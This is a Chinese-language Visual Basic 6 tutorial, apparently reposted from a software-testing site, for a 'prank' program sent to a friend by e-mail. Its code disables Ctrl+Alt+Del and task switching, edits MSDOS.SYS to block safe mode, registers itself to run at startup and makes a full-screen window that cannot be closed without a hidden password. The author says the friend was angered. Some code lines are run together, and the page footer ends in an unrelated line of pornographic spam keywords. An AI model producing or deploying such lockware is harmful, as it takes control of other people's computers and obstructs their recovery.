此程序演示怎樣在VB中調用API修改注冊表,讓程序每次啟動都會執行,運用shell函數,操做文本文件,屏蔽系統功能,做出一個能夠修改系統的程序(當然能和你的朋友開個玩笑),并且用事件key_press接收密碼來關閉程序。
模塊中聲明:
’創建子鍵
Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" _
(ByVal hKey As Long, ByVal lpSubKey As String, _
phkResult As Long) As Long
’創建鍵值
Public Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" _
(ByVal hKey As Long, ByVal lpValueName As String, _
ByVal Reserved As Long, ByVal dwType As Long, _
lpData As Any, ByVal cbData As Long) As Long
’調用API阻擋功能鍵
Public Declare Function SystemParametersInfo Lib "user32" Alias _
"SystemParametersInfoA" (ByVal uAction As Long, _
ByVal uParam As Long, ByRef lpvParam As Any, _
ByVal fuWinIni As Long) As Long
’調用API控制shell進程
Public Declare Function GetExitCodeProcess Lib "kernel32" _
(ByVal hprocess As Long, lpExitCode As Long) As Long
Public Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, _
ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
窗體代碼如下:
通用 聲明
Dim a(3) As Integer
Const spl_screensaverrunning = 97
Const process_query_information = &H400
Const still_active = &H103
Dim hprocess As Long
Dim pad As Long
Dim code As Long
Const HKEY_local_machine = &H80000002
Const regkey = "software\microsoft\windows\currentversion\run"
Const keyvalue = "run.exe"
Dim retvalue As Long
Dim keyid As Long
Private Sub Form_Load()
’API調用阻擋"ctrl+alt+del","ctrl+esc","alt+tab"熱鍵
SystemParametersInfo spl_screensaverrunning, True, ByVal 1&, 0’因為SHELL的異步執行,外部程序還未完成任務,VB便往下執行,
’會造成文件訪問錯誤,調用API函 數OpenProcess和GetExitCodeProcess
’解決問題,去掉MSDOS.SYS的只讀,隱蔽屬性pad = Shell("attrib -h -s -r c:\msdos.sys /s", vbHide)
hprocess = OpenProcess(process_query_information, False, pad)
DoGetExitCodeProcess hprocess, code
DoEventsLoop While code = still_active
’修改MSDOS.SYS,給其中添加BOOTKEYS=0,讓啟動時功能鍵F5,F8,CTRL,SHIFT失效,
’用戶不能進入safemode修改
Open "c:\msdos.sys " For Append As #1
Print #1, "bootkeys=0"
Close #1
Shell "attrib +h +s +r c:\msdos.sys /s", vbHide
End Sub
’修改注冊表,在"software\microsoft\windows\currentversion\run" 下創建字符串值"RUN",
’值為"RUN.EXE",讓每次啟動都會執行
’retvalue = RegCreateKey(HKEY_local_machine, regkey, keyid)
’retvalue = RegSetValueEx(keyid, "run", 0&, 1, ByVal keyvalue, Len(keyvalue) + 1)
’接收密碼的ASC碼值,密碼為joke
Private Sub Form_KeyPress(KeyAscii As Integer)
a(3) = a(2)
a(2) = a(1)
a(1) = a(0)
a(0) = KeyAscii
If a(0) = 101 And a(1) = 107 And a(2) = 111 And a(3) = 106 ThenEnd
End If
End Sub
’在窗體退出時使三組熱鍵生效
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
SystemParametersInfo spl_screensaverrunning, False, ByVal 1&, 0
End Sub
以上程序編譯為RUN.EXE,在VB6中調試通過,你可以自行在窗體中加入文本框,并且把窗體屬 性borderstyle改為0-none,windowstate改為2-maximized,就做出了一個關不掉的程序,并且每次 啟動都會執行,我就是通過E-MAIL給朋友發送了這個程序,把朋友惹得非常生氣,我在這里鄭重的表示道歉,I’m so sorry,please forgive me,Madam you!
文章來源于領測軟件測試網 http://www.kjueaiud.com/
版權所有(C) 2003-2010 TestAge(領測軟件測試網)|領測國際科技(北京)有限公司|軟件測試工程師培訓網 All Rights Reserved
北京市海淀區中關村南大街9號北京理工科技大廈1402室 京ICP備2023014753號-2
技術支持和業務聯系:info@testage.com.cn 電話:010-51297073
老湿亚洲永久精品ww47香蕉图片_日韩欧美中文字幕北美法律_国产AV永久无码天堂影院_久久婷婷综合色丁香五月